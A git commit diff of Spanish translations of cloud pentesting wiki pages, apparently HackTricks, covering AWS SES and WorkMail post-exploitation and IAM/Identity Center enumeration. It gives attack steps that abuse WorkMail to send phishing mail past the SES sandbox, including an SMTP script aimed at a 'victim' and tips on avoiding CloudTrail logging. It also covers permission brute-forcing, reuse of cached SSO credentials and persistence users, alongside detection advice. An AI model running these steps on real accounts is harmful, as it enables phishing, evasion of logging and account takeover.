Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

This commit is contained in:
Translator
2026-02-12 12:47:19 +00:00
parent c70ef978ff
commit 9ae2e207c0
3 changed files with 149 additions and 49 deletions

View File

@@ -4,7 +4,7 @@
## SES
Para más información consulta:
Para más información, consulta:
{{#ref}}
../../aws-services/aws-ses-enum.md
@@ -45,13 +45,13 @@ Aún por probar.
### `ses:SendBulkEmail`
Enviar un correo electrónico a múltiples destinatarios.
Enviar un correo a múltiples destinos.
```
aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
```
### `ses:SendBounce`
Enviar un **bounce email** sobre un correo recibido (indicando que el correo no pudo ser entregado). Esto solo puede hacerse **hasta 24 horas después de recibir** el correo.
Enviar un **bounce email** sobre un correo recibido (indicando que el correo no pudo ser recibido). Esto solo se puede hacer **hasta 24 horas después de recibir** el correo.
```bash
aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
```
@@ -59,11 +59,23 @@ Aún por probar.
### `ses:SendCustomVerificationEmail`
Esto enviará un correo electrónico de verificación personalizado. Es posible que también necesites permisos para crear la plantilla de correo.
Esto enviará un correo electrónico de verificación personalizado. Es posible que también necesites permisos para crear la plantilla del correo electrónico.
```bash
aws ses send-custom-verification-email --email-address <value> --template-name <value>
aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
```
Aún por probar.
## Pivot a WorkMail para eludir SES sandbox
Cuando `ses:GetAccount` muestra que la cuenta aún está en el SES sandbox y `ses:ListIdentities` no devuelve remitentes verificados, los atacantes pueden **pivot to WorkMail** para enviar inmediatamente (sin sandbox y con cuotas predeterminadas más altas) creando organizaciones, verificando dominios y registrando buzones.
{{#ref}}
../aws-workmail-post-exploitation/README.md
{{#endref}}
## Referencias
- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,76 @@
# AWS - WorkMail Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## Abusar de WorkMail para eludir el sandbox de SES
Incluso si SES está limitado al **sandbox** (solo receptores verificados, ~200 msgs/24h, 1 msg/s), WorkMail no tiene una restricción equivalente. Un atacante con claves de largo plazo puede desplegar infraestructura de correo desechable y empezar a enviar inmediatamente:
1. **Create a WorkMail org (region-scoped)**
```bash
aws workmail create-organization --region us-east-1 --alias temp-mail --directory-id <dir-id-if-reusing>
```
2. **Verify attacker-controlled domains** (WorkMail invokes SES APIs as `workmail.amazonaws.com`):
```bash
aws ses verify-domain-identity --domain attacker-domain.com
aws ses verify-domain-dkim --domain attacker-domain.com
```
3. **Provision mailbox users** and register them:
```bash
aws workmail create-user --organization-id <org-id> --name marketing --display-name "Marketing"
aws workmail register-to-work-mail --organization-id <org-id> --entity-id <user-id> --email marketing@attacker-domain.com
```
Notas:
- Límite por defecto de **recipient cap** documentado por AWS: **100,000 external recipients/day per org** (agregado entre usuarios).
- La actividad de verificación de dominio aparecerá en CloudTrail bajo SES pero con **`invokedBy`: `workmail.<region>.amazonaws.com`**, por lo que los eventos de verificación de SES pueden corresponder a la configuración de WorkMail en lugar de campañas de SES.
- Los usuarios de buzón de WorkMail se convierten en **persistencia a nivel de aplicación** independiente de los usuarios IAM.
## Sending paths & telemetry gaps
### Web client (WorkMail UI)
- Aparece como eventos **`ses:SendRawEmail`** en CloudTrail.
- `userIdentity.type` = `AWSService`, `invokedBy/sourceIPAddress/userAgent` = `workmail.<region>.amazonaws.com`, por lo que la **IP real del cliente queda oculta**.
- `requestParameters` still leak sender (`source`, `fromArn`, `sourceArn`, configuration set) para correlacionar con dominios/buzones recién verificados.
### SMTP (stealthiest)
- Endpoint: `smtp.mail.<region>.awsapps.com:465` (SMTP sobre SSL) con la contraseña del buzón.
- **No CloudTrail data events** se generan para la entrega SMTP, incluso cuando los SES data events están habilitados.
- Los puntos de detección ideales son el **provisionamiento de org/domain/user** y los ARNs de identidad de SES referenciados en posteriores eventos web `SendRawEmail`.
<details>
<summary>Ejemplo de envío SMTP a través de WorkMail</summary>
```python
import smtplib
from email.message import EmailMessage
SMTP_SERVER = "smtp.mail.us-east-1.awsapps.com"
SMTP_PORT = 465
EMAIL_ADDRESS = "marketing@attacker-domain.com"
EMAIL_PASSWORD = "SuperSecretPassword!"
target = "victim@example.com" # can be unverified/external
msg = EmailMessage()
msg["Subject"] = "WorkMail SMTP"
msg["From"] = EMAIL_ADDRESS
msg["To"] = target
msg.set_content("Delivered via WorkMail SMTP")
with smtplib.SMTP_SSL(SMTP_SERVER, SMTP_PORT) as smtp:
smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD)
smtp.send_message(msg)
```
</details>
## Consideraciones de detección
- Si WorkMail no es necesario, bloquéalo mediante **SCPs** (`workmail:*` deny) a nivel de la organización.
- Genera alertas sobre aprovisionamiento: `workmail:CreateOrganization`, `workmail:CreateUser`, `workmail:RegisterToWorkMail`, y verificaciones de SES con `invokedBy=workmail.amazonaws.com` (`ses:VerifyDomainIdentity`, `ses:VerifyDomainDkim`).
- Vigila eventos anómalos **`ses:SendRawEmail`** donde los ARNs de identidad hagan referencia a dominios nuevos y la IP/UA de origen sea `workmail.<region>.amazonaws.com`.
## Referencias
- [Threat Actors Using AWS WorkMail in Phishing Campaigns](https://www.rapid7.com/blog/post/dr-threat-actors-aws-workmail-phishing-campaigns)
- [AWS WorkMail limits](https://docs.aws.amazon.com/workmail/latest/adminguide/limits.html)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# AWS - IAM, Centro de Identidad y Enumeración SSO
# AWS - IAM, Identity Center & SSO Enumeración
{{#include ../../../banners/hacktricks-training.md}}
@@ -14,7 +14,7 @@ Puedes encontrar una **descripción de IAM** en:
Permisos principales necesarios:
- `iam:ListPolicies`, `iam:GetPolicy` y `iam:GetPolicyVersion`
- `iam:ListPolicies`, `iam:GetPolicy` and `iam:GetPolicyVersion`
- `iam:ListRoles`
- `iam:ListUsers`
- `iam:ListGroups`
@@ -22,9 +22,9 @@ Permisos principales necesarios:
- `iam:ListAttachedUserPolicies`
- `iam:ListAttachedRolePolicies`
- `iam:ListAttachedGroupPolicies`
- `iam:ListUserPolicies` y `iam:GetUserPolicy`
- `iam:ListGroupPolicies` y `iam:GetGroupPolicy`
- `iam:ListRolePolicies` y `iam:GetRolePolicy`
- `iam:ListUserPolicies` and `iam:GetUserPolicy`
- `iam:ListGroupPolicies` and `iam:GetGroupPolicy`
- `iam:ListRolePolicies` and `iam:GetRolePolicy`
```bash
# All IAMs
## Retrieves information about all IAM users, groups, roles, and policies
@@ -88,37 +88,49 @@ aws iam get-account-password-policy
aws iam list-mfa-devices
aws iam list-virtual-mfa-devices
```
### Fuerza Bruta de Permisos
### Confirmación sigilosa de permisos mediante fallos intencionales
Si estás interesado en tus propios permisos pero no tienes acceso para consultar IAM, siempre podrías forzarlos.
Cuando las APIs `List*` o las simulator APIs están bloqueadas, puedes **confirmar permisos de modificación sin crear recursos duraderos** forzando errores de validación predecibles. AWS aún evalúa IAM antes de devolver estos errores, por lo que ver el error demuestra que el solicitante tiene la acción:
```bash
# Confirm iam:CreateUser without creating a new principal (fails only after authz)
aws iam create-user --user-name <existing_user> # -> EntityAlreadyExistsException
# Confirm iam:CreateLoginProfile while learning password policy requirements
aws iam create-login-profile --user-name <target_user> --password lower --password-reset-required # -> PasswordPolicyViolationException
```
Estos intentos aún generan eventos de CloudTrail (con `errorCode` establecido) pero evitan dejar nuevos artefactos de IAM, lo que los hace útiles para una **validación de permisos de bajo ruido** durante el reconocimiento interactivo.
### Permissions Brute Force
Si te interesan tus propios permisos pero no tienes acceso para consultar IAM, siempre puedes recurrir al brute-force.
#### bf-aws-permissions
La herramienta [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) es solo un script de bash que se ejecutará utilizando el perfil indicado todas las acciones **`list*`, `describe*`, `get*`** que pueda encontrar usando los mensajes de ayuda de `aws` cli y **devolverá las ejecuciones exitosas**.
La herramienta [**bf-aws-permissions**](https://github.com/carlospolop/bf-aws-permissions) es simplemente un script bash que ejecutará, usando el perfil indicado, todas las acciones **`list*`, `describe*`, `get*`** que pueda encontrar utilizando los mensajes de ayuda del `aws` cli y **devolverá las ejecuciones exitosas**.
```bash
# Bruteforce permissions
bash bf-aws-permissions.sh -p default > /tmp/bf-permissions-verbose.txt
```
#### bf-aws-perms-simulate
La herramienta [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) puede encontrar tus permisos actuales (o los de otros principales) si tienes el permiso **`iam:SimulatePrincipalPolicy`**
La herramienta [**bf-aws-perms-simulate**](https://github.com/carlospolop/bf-aws-perms-simulate) puede encontrar tus permisos actuales (o los de otras identidades) si tienes el permiso **`iam:SimulatePrincipalPolicy`**
```bash
# Ask for permissions
python3 aws_permissions_checker.py --profile <AWS_PROFILE> [--arn <USER_ARN>]
```
#### Perms2ManagedPolicies
Si encontraste **algunos permisos que tiene tu usuario**, y crees que están siendo otorgados por un **rol gestionado de AWS** (y no por uno personalizado). Puedes usar la herramienta [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) para verificar todos los **roles gestionados de AWS que otorgan los permisos que descubriste que tienes**.
Si encontraste **algunos permisos que tiene tu usuario**, y crees que se le están otorgando por un **rol administrado de AWS** (y no por uno personalizado). Puedes usar la herramienta [**aws-Perms2ManagedRoles**](https://github.com/carlospolop/aws-Perms2ManagedPolicies) para comprobar todos los **roles administrados de AWS que conceden los permisos que descubriste que tienes**.
```bash
# Run example with my profile
python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt
```
> [!WARNING]
> Es posible "saber" si los permisos que tienes son otorgados por un rol administrado de AWS si ves que **tienes permisos sobre servicios que no se utilizan** por ejemplo.
> Es posible "saber" si los permisos que tienes son concedidos por un rol administrado por AWS si ves que, por ejemplo, **tienes permisos sobre servicios que no se utilizan**.
#### Cloudtrail2IAM
[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) es una herramienta de Python que analiza **los registros de AWS CloudTrail para extraer y resumir acciones** realizadas por todos o solo un usuario o rol específico. La herramienta **analizará cada registro de cloudtrail del bucket indicado**.
[**CloudTrail2IAM**](https://github.com/carlospolop/Cloudtrail2IAM) es una herramienta en Python que analiza **los registros de AWS CloudTrail para extraer y resumir acciones** realizadas por todos o solo por un usuario o rol específico. La herramienta **analizará cada registro de CloudTrail del bucket indicado**.
```bash
git clone https://github.com/carlospolop/Cloudtrail2IAM
cd Cloudtrail2IAM
@@ -126,16 +138,16 @@ pip install -r requirements.txt
python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS]
```
> [!WARNING]
> Si encuentras .tfstate (archivos de estado de Terraform) o archivos de CloudFormation (que suelen ser archivos yaml ubicados dentro de un bucket con el prefijo cf-templates), también puedes leerlos para encontrar la configuración de aws y ver qué permisos se han asignado a quién.
> Si encuentras .tfstate (archivos de estado de Terraform) o archivos de CloudFormation (estos suelen ser archivos yaml ubicados dentro de un bucket con el prefijo cf-templates), también puedes leerlos para encontrar la configuración de aws y saber qué permisos se han asignado a quién.
#### enumerate-iam
Para usar la herramienta [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), primero necesitas descargar todos los endpoints de la API de AWS; a partir de esos, el script **`generate_bruteforce_tests.py`** obtendrá todos los **"list\_", "describe\_", y "get\_" endpoints.** Y finalmente, intentará **acceder a ellos** con las credenciales dadas y **indicar si funcionó**.
Para usar la herramienta [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam) primero necesitas descargar todos los endpoints de la API de AWS, a partir de esos el script **`generate_bruteforce_tests.py`** obtendrá todos los endpoints **"list\_", "describe\_", and "get\_"**. Y finalmente, intentará **acceder a ellos** con las credenciales dadas y **indicar si funcionó**.
(En mi experiencia, la **herramienta se cuelga en algún momento**, [**consulta esta solución**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) para intentar solucionarlo).
(En mi experiencia la **herramienta se queda colgada en algún punto**, [**checkout this fix**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) para intentar solucionarlo).
> [!WARNING]
> En mi experiencia, esta herramienta es como la anterior pero funciona peor y verifica menos permisos.
> En mi experiencia esta herramienta es como la anterior pero funciona peor y comprueba menos permisos
```bash
# Install tool
git clone git@github.com:andresriancho/enumerate-iam.git
@@ -154,7 +166,7 @@ python3 enumerate-iam.py --access-key ACCESS_KEY --secret-key SECRET_KEY [--sess
```
#### weirdAAL
También podrías usar la herramienta [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). Esta herramienta verificará **varias operaciones comunes en varios servicios comunes** (verificará algunos permisos de enumeración y también algunos permisos de privesc). Pero solo verificará las comprobaciones codificadas (la única forma de verificar más cosas es codificando más pruebas).
También puedes usar la herramienta [**weirdAAL**](https://github.com/carnal0wnage/weirdAAL/wiki). Esta herramienta comprobará **varias operaciones comunes en varios servicios comunes** (verificará algunos permisos de enumeration y también algunos permisos de privesc). Pero solo realizará las comprobaciones codificadas (la única manera de comprobar más cosas es escribir más pruebas).
```bash
# Install
git clone https://github.com/carnal0wnage/weirdAAL.git
@@ -178,7 +190,7 @@ python3 weirdAAL.py -m recon_all -t MyTarget # Check all permissions
# [+] elbv2 Actions allowed are [+]
# ['DescribeLoadBalancers', 'DescribeAccountLimits', 'DescribeTargetGroups']
```
#### Herramientas de endurecimiento para BF permisos
#### Herramientas de hardening para permisos BF
{{#tabs }}
{{#tab name="CloudSploit" }}
@@ -208,43 +220,43 @@ steampipe dashboard
#### \<YourTool>
Ninguna de las herramientas anteriores es capaz de verificar casi todos los permisos, así que si conoces una mejor herramienta, ¡envía un PR!
Ninguna de las herramientas anteriores es capaz de comprobar casi todos los permisos, así que si conoces una mejor herramienta, ¡envía un PR!
### Acceso No Autenticado
### Acceso no autenticado
{{#ref}}
../aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md
{{#endref}}
### Escalación de Privilegios
### Escalada de privilegios
En la siguiente página puedes verificar cómo **abusar de los permisos de IAM para escalar privilegios**:
En la página siguiente puedes ver cómo **abusar de los permisos de IAM para escalar privilegios**:
{{#ref}}
../aws-privilege-escalation/aws-iam-privesc/README.md
{{#endref}}
### Post Explotación de IAM
### IAM Post Exploitation
{{#ref}}
../aws-post-exploitation/aws-iam-post-exploitation/README.md
{{#endref}}
### Persistencia de IAM
### IAM Persistence
{{#ref}}
../aws-persistence/aws-iam-persistence/README.md
{{#endref}}
## Centro de Identidad de IAM
## IAM Identity Center
Puedes encontrar una **descripción del Centro de Identidad de IAM** en:
Puedes encontrar una **descripción de IAM Identity Center** en:
{{#ref}}
../aws-basic-information/
{{#endref}}
### Conectar a través de SSO con CLI
### Conectar vía SSO con CLI
```bash
# Connect with sso via CLI aws configure sso
aws configure sso
@@ -257,16 +269,16 @@ sso_region = us-east-1
```
### Enumeración
Los elementos principales del Centro de Identidad son:
Los elementos principales del Identity Center son:
- Usuarios y grupos
- Conjuntos de permisos: Tienen políticas adjuntas
- Cuentas de AWS
- Permission Sets: Tienen políticas adjuntas
- AWS Accounts
Luego, se crean relaciones para que los usuarios/grupos tengan Conjuntos de permisos sobre la Cuenta de AWS.
Luego se crean relaciones para que usuarios/grupos tengan Permission Sets sobre AWS Account.
> [!NOTE]
> Tenga en cuenta que hay 3 formas de adjuntar políticas a un Conjunto de permisos. Adjuntar políticas gestionadas por AWS, políticas gestionadas por el cliente (estas políticas deben ser creadas en todas las cuentas que el Conjunto de permisos está afectando), y políticas en línea (definidas allí).
> Ten en cuenta que existen 3 formas de adjuntar políticas a un Permission Set: AWS managed policies, Customer managed policies (estas deben crearse en todas las cuentas que el Permission Set afecta), e inline policies (definidas en el propio Permission Set).
```bash
# Check if IAM Identity Center is used
aws sso-admin list-instances
@@ -300,9 +312,9 @@ aws identitystore list-group-memberships --identity-store-id <store-id> --group-
## Get memberships or a user or a group
aws identitystore list-group-memberships-for-member --identity-store-id <store-id> --member-id <member-id>
```
### Enumeración Local
### Enumeración local
Es posible crear dentro de la carpeta `$HOME/.aws` el archivo config para configurar perfiles que son accesibles a través de SSO, por ejemplo:
Es posible crear dentro de la carpeta `$HOME/.aws` el archivo config para configurar perfiles que son accesibles vía SSO, por ejemplo:
```ini
[default]
region = us-west-2
@@ -320,16 +332,16 @@ output = json
role_arn = arn:aws:iam::<acc-id>:role/ReadOnlyRole
source_profile = Hacktricks-Admin
```
Esta configuración se puede utilizar con los comandos:
Esta configuración puede usarse con los comandos:
```bash
# Login in ms-sso-profile
aws sso login --profile my-sso-profile
# Use dependent-profile
aws s3 ls --profile dependent-profile
```
Cuando se utiliza un **perfil de SSO** para acceder a información, las credenciales se **almacenan en caché** en un archivo dentro de la carpeta **`$HOME/.aws/sso/cache`**. Por lo tanto, pueden ser **leídas y utilizadas desde allí**.
Cuando se **utiliza un perfil de SSO** para acceder a cierta información, las credenciales se **almacenan en caché** en un archivo dentro de la carpeta **`$HOME/.aws/sso/cache`**. Por lo tanto, pueden **leerse y utilizarse desde allí**.
Además, se pueden almacenar **más credenciales** en la carpeta **`$HOME/.aws/cli/cache`**. Este directorio de caché se utiliza principalmente cuando estás **trabajando con perfiles de AWS CLI** que utilizan credenciales de usuario IAM o **asumen** roles a través de IAM (sin SSO). Ejemplo de configuración:
Además, **más credenciales** pueden almacenarse en la carpeta **`$HOME/.aws/cli/cache`**. Este directorio de caché se utiliza principalmente cuando estás **trabajando con perfiles de AWS CLI** que usan credenciales de usuario IAM o **asumen** roles a través de IAM (sin SSO). Ejemplo de configuración:
```ini
[profile crossaccountrole]
role_arn = arn:aws:iam::234567890123:role/SomeRole
@@ -337,25 +349,25 @@ source_profile = default
mfa_serial = arn:aws:iam::123456789012:mfa/saanvi
external_id = 123456
```
### Acceso No Autenticado
### Unauthenticated Access
{{#ref}}
../aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md
{{#endref}}
### Escalación de Privilegios
### Privilege Escalation
{{#ref}}
../aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md
{{#endref}}
### Post Explotación
### Post Exploitation
{{#ref}}
../aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md
{{#endref}}
### Persistencia
### Persistence
#### Crear un usuario y asignarle permisos
```bash
@@ -363,10 +375,10 @@ external_id = 123456
aws identitystore create-user --identity-store-id <store-id> --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc
## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password
```
- Crea un grupo y asígnale permisos y establece en él un usuario controlado.
- Da permisos adicionales a un usuario o grupo controlado.
- Por defecto, solo los usuarios con permisos de la Cuenta de Gestión podrán acceder y controlar el IAM Identity Center.
- Crear un grupo, asignarle permisos y establecer en él un usuario controlado
- Dar permisos adicionales a un usuario controlado o a un grupo
- Por defecto, solo los usuarios con permisos de la Management Account podrán acceder y controlar el IAM Identity Center.
Sin embargo, es posible a través de Delegate Administrator permitir que usuarios de una cuenta diferente lo gestionen. No tendrán exactamente los mismos permisos, pero podrán realizar [**actividades de gestión**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html).
Sin embargo, es posible, a través de Delegate Administrator, permitir que usuarios de una cuenta diferente lo administren. No tendrán exactamente los mismos permisos, pero podrán realizar [**management activities**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html).
{{#include ../../../banners/hacktricks-training.md}}